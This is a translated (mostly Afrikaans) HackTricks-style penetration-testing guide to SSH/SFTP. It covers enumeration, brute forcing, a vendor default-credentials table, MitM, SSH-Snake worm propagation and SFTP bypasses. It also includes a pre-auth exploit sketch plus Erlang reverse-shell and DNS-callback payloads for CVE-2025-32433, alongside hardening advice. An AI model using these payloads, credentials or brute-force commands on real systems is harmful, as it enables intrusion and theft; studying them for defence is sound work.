# 22 - Pentesting SSH/SFTP {{#include ../banners/hacktricks-training.md}} ## Basiese Inligting **SSH (Secure Shell of Secure Socket Shell)** is 'n netwerkprotokol wat 'n veilige verbinding met 'n rekenaar oor 'n onveilige netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word. **Standaard poort:** 22 ``` 22/tcp open ssh syn-ack ``` **SSH bedieners:** - [openSSH](http://www.openssh.org) – OpenBSD SSH, verskaf in BSD, Linux verspreidings en Windows sedert Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementasie vir omgewings met lae geheue en verwerker hulpbronne, verskaf in OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementasie vir Windows, die kliënt word algemeen gebruik maar die gebruik van die bediener is selde - [CopSSH](https://www.itefix.net/copssh) – implementasie van OpenSSH vir Windows **SSH biblioteke (wat bediener-kant implementeer):** - [libssh](https://www.libssh.org) – multiplatform C biblioteek wat die SSHv2 protokol implementeer met bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) en [R](https://github.com/ropensci/ssh); dit word deur KDE vir sftp en deur GitHub vir die git SSH infrastruktuur gebruik - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 bediener biblioteek geskryf in ANSI C en gemik op ingebedde, RTOS, en hulpbron-beperkte omgewings - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteek is gebaseer op Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol biblioteek ## Enumerasie ### Banner Grabbing ```bash nc -vn 22 ``` ### Geoutomatiseerde ssh-audit ssh-audit is 'n hulpmiddel vir die oudit van ssh bediener- en kliëntkonfigurasie. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is 'n opgedateerde fork van [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Kenmerke:** - SSH1 en SSH2 protokol bedienerondersteuning; - analiseer SSH kliëntkonfigurasie; - gryp banner, herken toestel of sagteware en bedryfstelsel, detecteer kompressie; - versamel sleuteluitruil, gasheer-sleutel, enkripsie en boodskapverifikasiekode algoritmes; - voer algoritme-inligting uit (beskikbaar sedert, verwyder/uitgeskakel, onveilig/ swak/ ou, ens.); - voer algoritme-aanbevelings uit (voeg by of verwyder gebaseer op herkenbare sagteware weergawe); - voer sekuriteitsinligting uit (verwante probleme, toegewyde CVE lys, ens.); - analiseer SSH weergawe-kompatibiliteit gebaseer op algoritme-inligting; - historiese inligting van OpenSSH, Dropbear SSH en libssh; - loop op Linux en Windows; - geen afhanklikhede ```bash usage: ssh-audit.py [-1246pbcnjvlt] -1, --ssh1 force ssh version 1 only -2, --ssh2 force ssh version 2 only -4, --ipv4 enable IPv4 (order of precedence) -6, --ipv6 enable IPv6 (order of precedence) -p, --port= port to connect -b, --batch batch output -c, --client-audit starts a server on port 2222 to audit client software config (use -p to change port; use -t to change timeout) -n, --no-colors disable colors -j, --json JSON output -v, --verbose verbose output -l, --level= minimum output level (info|warn|fail) -t, --timeout= timeout (in seconds) for connection and reading (default: 5) $ python3 ssh-audit ``` [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Publieke SSH-sleutel van bediener ```bash ssh-keyscan -t rsa -p ``` ### Swak Koderingsalgoritmes Dit word standaard ontdek deur **nmap**. Maar jy kan ook **sslcan** of **sslyze** gebruik. ### Nmap skripte ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` ### Shodan - `ssh` ## Brute force gebruikersname, wagwoorde en privaat sleutels ### Gebruikersnaam Enumerasie In sommige weergawes van OpenSSH kan jy 'n tydaanval maak om gebruikers te enumerate. Jy kan 'n metasploit-module gebruik om dit te benut: ``` msf> use scanner/ssh/ssh_enumusers ``` ### [Brute force](../generic-hacking/brute-force.md#ssh) Sommige algemene ssh geloofsbriewe [hier ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)en [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) en hieronder. ### Private Key Brute Force As jy van sommige ssh private sleutels weet wat gebruik kan word... kom ons probeer dit. Jy kan die nmap skrip gebruik: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` Of die MSF bykomende module: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` Of gebruik `ssh-keybrute.py` (natuurlike python3, liggewig en het erfenisalgoritmes geaktiveer): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Bekende slegte sleutels kan hier gevind word: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}} #### Swak SSH sleutels / Debian voorspelbare PRNG Sommige stelsels het bekende foute in die ewekansige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat gebruteforce kan word. Voor-gegeneerde stelle sleutels wat op Debian-stelsels gegenereer is wat deur swak PRNG geraak word, is hier beskikbaar: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Jy moet hier kyk om geldige sleutels vir die slagoffer masjien te soek. ### Kerberos **crackmapexec** wat die `ssh` protokol gebruik, kan die opsie `--kerberos` gebruik om **te autentiseer via kerberos**.\ Vir meer inligting, voer `crackmapexec ssh --help` uit. ## Standaard Kredensiale | **Verskaffer** | **Gebruikersname** | **Wagwoorde** | | -------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, toestel | apc | | Brocade | admin | admin123, wagwoord, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, standaard, wagwoord, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, aanval, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, publiek, rootadmin, wanscaler | | D-Link | admin, gebruiker | privaat, admin, gebruiker | | Dell | root, gebruiker1, admin, vkernel, cli | calvin, 123456, wagwoord, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Wagwoord#1, Wagwoord123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, bestuur, hpsupport, opc_op | admin, wagwoord, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, mooi, toegang, konfig, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !bestuur, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, bestuurder, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, stelsel, toestel, ufmcli, klant | PASSW0RD, passw0rd, admin, wagwoord, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, standaard | ## SSH-MitM As jy in die plaaslike netwerk is soos die slagoffer wat gaan aansluit by die SSH-bediener met gebruikersnaam en wagwoord, kan jy probeer om 'n **MitM-aanval uit te voer om daardie kredensiale te steel:** **Aanvalspad:** - **Verkeersherleiding:** Die aanvaller **lei** die slagoffer se verkeer na hul masjien, wat effektief die verbinding poging na die SSH-bediener **afvang**. - **Afvang en Teken:** Die aanvaller se masjien funksioneer as 'n **proxy**, **vang** die gebruiker se aanmeldbesonderhede op deur voor te gee om die wettige SSH-bediener te wees. - **Opdraguitvoering en Relay:** Laastens, die aanvaller se bediener **registreer die gebruiker se kredensiale**, **stuur die opdragte** na die werklike SSH-bediener, **voert dit uit**, en **stuur die resultate terug** na die gebruiker, wat die proses glad en wettig laat lyk. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) doen presies wat hierbo beskryf is. Om die werklike MitM uit te voer, kan jy tegnieke soos ARP spoofing, DNS spoofing of ander wat beskryf word in die [**Netwerk Spoofing-aanvalle**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) gebruik. ## SSH-Snake As jy 'n netwerk wil deurkruis met ontdekte SSH private sleutels op stelsels, wat elke private sleutel op elke stelsel vir nuwe gasheers gebruik, dan is [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) wat jy nodig het. SSH-Snake voer die volgende take outomaties en herhalend uit: 1. Op die huidige stelsel, vind enige SSH private sleutels, 2. Op die huidige stelsel, vind enige gasheers of bestemmings (gebruiker@gasheer) wat die private sleutels mag aanvaar, 3. Probeer om SSH in al die bestemmings in te gaan met al die ontdekte private sleutels, 4. As 'n bestemming suksesvol gekoppel is, herhaal stappe #1 - #4 op die gekoppelde stelsel. Dit is heeltemal self-repliserend en self-propagasies -- en heeltemal vry van lêers. ## Konfig Misconfigurasies ### Root aanmelding Dit is algemeen dat SSH-bedieners root gebruikers aanmelding standaard toelaat, wat 'n beduidende sekuriteitsrisiko inhou. **Deaktiveer root aanmelding** is 'n kritieke stap in die beveiliging van die bediener. Ongeoorloofde toegang met administratiewe regte en gebruteforce-aanvalle kan verminder word deur hierdie verandering te maak. **Om Root Aanmelding in OpenSSH te Deaktiveer:** 1. **Wysig die SSH konfigurasie lêer** met: `sudoedit /etc/ssh/sshd_config` 2. **Verander die instelling** van `#PermitRootLogin yes` na **`PermitRootLogin no`**. 3. **Herlaai die konfigurasie** met: `sudo systemctl daemon-reload` 4. **Herbegin die SSH-bediener** om veranderinge toe te pas: `sudo systemctl restart sshd` ### SFTP Brute Force - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) ### SFTP opdraguitvoering Daar is 'n algemene oorsig wat plaasvind met SFTP-opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang te aktiveer. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding te vra, voordat hul aangewese nie-interaktiewe shell oorgeneem word. Dit stel ongeoorloofde opdraguitvoering in staat, wat die beoogde sekuriteitsmaatreëls ondermyn. [Voorbeeld van hier](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 192.168.1.94 ([192.168.1.94]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(noraj) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` Hier is 'n voorbeeld van 'n veilige SFTP-konfigurasie (`/etc/ssh/sshd_config` – openSSH) vir die gebruiker `noraj`: ``` Match User noraj ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` Hierdie konfigurasie sal slegs SFTP toelaat: dit deaktiveer skulp toegang deur die beginopdrag af te dwing en deaktiveer TTY toegang, maar deaktiveer ook alle vorme van poort forwarding of tunneling. ### SFTP Tunneling As jy toegang tot 'n SFTP bediener het, kan jy ook jou verkeer deur hierdie tunneling, byvoorbeeld deur die algemene poort forwarding, stuur: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink Die **sftp** het die opdrag "**symlink**". Daarom, as jy **skryfregte** in 'n sekere gids het, kan jy **symlinks** van **ander gidse/lêers** skep. Aangesien jy waarskynlik **gevang** is binne 'n chroot, sal dit **nie besonders nuttig** vir jou wees nie, maar as jy die geskepte **symlink** van 'n **no-chroot** **diens** kan **toegang** (byvoorbeeld, as jy die symlink van die web kan toegang), kan jy die **symlinked lêers deur die web** **oopmaak**. Byvoorbeeld, om 'n **symlink** van 'n nuwe lêer **"**_**froot**_**" na "**_**/**_**"** te skep: ```bash sftp> symlink / froot ``` As jy toegang tot die lêer "_froot_" via die web kan kry, sal jy in staat wees om die wortel ("/") gids van die stelsel te lys. ### Verifikasie metodes In 'n hoë sekuriteit omgewing is dit 'n algemene praktyk om slegs sleutel-gebaseerde of twee-faktor verifikasie in te skakel eerder as die eenvoudige faktor wagwoord-gebaseerde verifikasie. Maar dikwels word die sterker verifikasie metodes geaktiveer sonder om die swakkeres te deaktiveer. 'n Gereelde geval is om `publickey` op openSSH-konfigurasie in te skakel en dit as die standaard metode in te stel, maar nie `password` te deaktiveer nie. So deur die uitgebreide modus van die SSH-kliënt te gebruik, kan 'n aanvaller sien dat 'n swakker metode geaktiveer is: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` As 'n limiet vir autentikasiefoute gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om te dwing om hierdie metode te gebruik. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` Hersien die SSH-bediener konfigurasie is nodig om te verifieer dat slegs verwagte metodes gemagtig is. Om die uitgebreide modus op die kliënt te gebruik, kan help om die doeltreffendheid van die konfigurasie te sien. ### Config lêers ```bash ssh_config sshd_config authorized_keys ssh_known_hosts known_hosts id_rsa ``` ## Fuzzing - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) ## Verifikasie Toestand-Masjien Omseiling (Pre-Auth RCE) Verskeie SSH bediener implementasies bevat logika foute in die **verifikasie eindige toestand masjien** wat 'n kliënt toelaat om *verbinding-protokol* boodskappe **voor** verifikasie voltooi is, te stuur. Omdat die bediener nie verifieer dat dit in die korrekte toestand is nie, word daardie boodskappe hanteer asof die gebruiker ten volle geverifieer is, wat lei tot **ongeverifieerde kode uitvoering** of sessie skepping. Op 'n protokolvlak behoort enige SSH boodskap met 'n _boodskap kode_ **≥ 80** (0x50) tot die *verbinding* laag (RFC 4254) en moet **slegs aanvaar word na suksesvolle verifikasie** (RFC 4252). As die bediener een van daardie boodskappe verwerk terwyl dit steeds in die *SSH_AUTHENTICATION* toestand is, kan die aanvaller onmiddellik 'n kanaal skep en aksies soos opdrag uitvoering, poort-voorwaartse, ens. versoek. ### Generiese Exploitasiestappe 1. Stel 'n TCP verbinding op met die teiken se SSH poort (gewoonlik 22, maar ander dienste kan Erlang/OTP op 2022, 830, 2222… blootstel). 2. Skep 'n rou SSH pakket: * 4-byte **pakket_lengte** (big-endian) * 1-byte **boodskap_kode** ≥ 80 (bv. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * Payload wat verstaan sal word deur die gekose boodskap tipe 3. Stuur die pakket(te) **voor enige verifikasieslag voltooi is**. 4. Interaksie met die bediener API's wat nou _pre-auth_ blootgestel is (opdrag uitvoering, poort forwarding, lêerstelsel toegang, …). Python bewys-van-konsep skets: ```python import socket, struct HOST, PORT = '10.10.10.10', 22 s = socket.create_connection((HOST, PORT)) # skip version exchange for brevity – send your own client banner then read server banner # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 s.sendall(pkt) # additional CHANNEL_REQUEST packets can follow to run commands ``` In praktyk sal jy die sleutel-uitruiling moet uitvoer (of oorslaan) volgens die teikenimplementasie, maar **geen verifikasie** word ooit uitgevoer nie. --- ### Erlang/OTP `sshd` (CVE-2025-32433) * **Geraakte weergawes:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Oorsaak:** die Erlang inheemse SSH daemon valideer nie die huidige toestand voordat dit `ssh_connection:handle_msg/2` aanroep nie. Daarom bereik enige pakket met 'n boodskapkode 80-255 die verbindinghandler terwyl die sessie steeds in die *userauth* toestand is. * **Impak:** ongeverifieerde **afgeleë kode-uitvoering** (die daemon loop gewoonlik as **root** op ingebedde/OT toestelle). Voorbeeldpayload wat 'n omgekeerde skulp genereer wat aan die aanvaller-beheerde kanaal gekoppel is: ```erlang % open a channel first … then: execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). ``` Blind RCE / out-of-band detectie kan via DNS uitgevoer word: ```erlang execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession ``` Detection & Mitigation: * Inspect SSH traffic: **verwerp enige pakket met boodskapkode ≥ 80 waargeneem voor authenticatie**. * Upgrade Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** of nuwer. * Beperk blootstelling van bestuurspoorte (22/2022/830/2222) – veral op OT-toerusting. --- ### Other Implementations Affected * **libssh** 0.6 – 0.8 (bedienerkant) – **CVE-2018-10933** – aanvaar 'n nie-geoutentiseerde `SSH_MSG_USERAUTH_SUCCESS` gestuur deur die kliënt, effektief die omgekeerde logika-fout. Die algemene les is dat enige afwyking van die RFC-voorgeskrewe toestandsoorgange fataal kan wees; wanneer jy SSH-daemons hersien of fuzz, let veral op *toestandmasjien afdwinging*. ## References - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks Automatic Commands ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: Name: Hydra Brute Force Description: Need Username Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh Entry_2: Name: consolesless mfs enumeration Description: SSH enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' ``` {{#include ../banners/hacktricks-training.md}}